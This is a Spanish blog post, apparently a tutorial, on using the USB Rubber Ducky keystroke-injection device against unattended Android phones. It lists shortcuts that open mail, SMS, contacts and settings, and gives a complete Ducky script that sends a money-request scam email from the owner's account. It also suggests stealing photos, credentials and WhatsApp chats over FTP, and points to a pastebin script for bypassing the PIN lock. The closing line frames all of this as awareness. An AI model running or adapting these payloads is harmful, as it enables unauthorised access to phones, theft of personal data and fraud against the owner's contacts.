USB Rubber Ducky en Android

En este post quiero continuar hablando de USB Rubber Ducky. En el post anterior hablé sobre USB RUbber Ducky y vimos un ejemplo de uso en sistemas Windows. Hoy quiero mostrar que también podemos crear payloads para otros sistemas como Android o MAC.

En el caso de dispositivos Android, debemos tener en cuenta que estos sistemas soportan conectar dispositivos HID, por lo tanto, podemos conectar teclados externos y manejar y controlar el dispositivo mediante el teclado.

Tras realizar unas pruebas, mediante un teclado externo, os comparto una serie de comandos que podríamos usar para manejar un dispositivo Android (las pruebas han sido realizadas con un dispositivo Android 4.4.2 KitKat):

  • Windows E: muestra los correos
  • Windows A: abre la calculadora
  • Windows S: muestra los SMS
  • Windows L: abre el calendario
  • Windows M: muestras las aplicaciones que hay instaladas
  • F3: enciende la cámara y tab + intro hace una foto
  • ImprPant: hace una captura de pantalla
  • Control W: muestra un menú para cambiar el fondo de pantalla
  • Control P: muestra los Ajustes
  • Windows C: accede a todos contactos
  • Windows SPACE: muestra el buscador

Sabiendo estas combinaciones podríamos hacer cualquier payload y acceder a información sensible de cualquier persona despistada que se deje su móvil sin vigilar.

Por ejemplo, enviar un correo electrónico sería tan sencillo como:

  • Windows E
  • TAB
  • TAB
  • TAB
  • ENTER
  • REM Escribir la dirección destino
  • STRING direcciondestino@correo.com
  • ENTER
  • TAB
  • REM El siguiente campo es el Asunto
  • STRING Ayuda
  • TAB
  • STRING Buenos días
  • ENTER
  • STRING Por favor, estoy en apuros y me encuentro fuera del país, envíame XX euros a la siguiente cuenta. Te lo contaré en cuanto vuelva!
  • ENTER
  • STRING Número de cuenta: XXXXXXXXXX
  • ENTER
  • STRING Gracias!
  • REM Enviamos el correo
  • CONTROL ENTER

La persona que reciba el correo es probable que confíe en la legitimidad del remitente ya que el correo ha sido enviado desde su cuenta, y realizando un buen ataque de ingeniería social es probable que finalice con éxito.

Con este sencillo script podríamos enviar mensajes de correos desde el móvil de una tercera persona. Tal y como he comentado las pruebas realizadas han sido sobre un dispositivo con Android 4.4, en otra versión de Android podría cambiar ligeramente, aunque conceptualmente es igual.

Conociendo los comandos adecuados ya sólo tendríamos que echarle un poco de imaginación de lo que podríamos hacer. Al igual que el ejemplo de enviar correos electrónicos, podríamos hacer lo mismo para acceder a SMS, cambiar ajustes de configuración, habilitar USB Debugging, o incluso instalar aplicaciones de terminal en Android y mediante comandos robar información (fotos, historial de navegación, credenciales, conversaciones de Whatsapp, etc. y enviarla a través de FTP. Al tener un terminal en el dispositivo Android las posibilidades se disparan.

Pero, ¿qué ocurre si el dispositivo está bloqueado por un PIN? Con UsbRubberDucky también podríamos desbloquear el móvil. El script lo tenéis en pastebin.

Con este post quería compartir algunas de las posibilidades que ofrece USB Rubber Ducky con respecto a Android. Aunque siempre con la finalidad de que conozcáis los riesgos y no os dejéis vuestros dispositivos sin vigilar.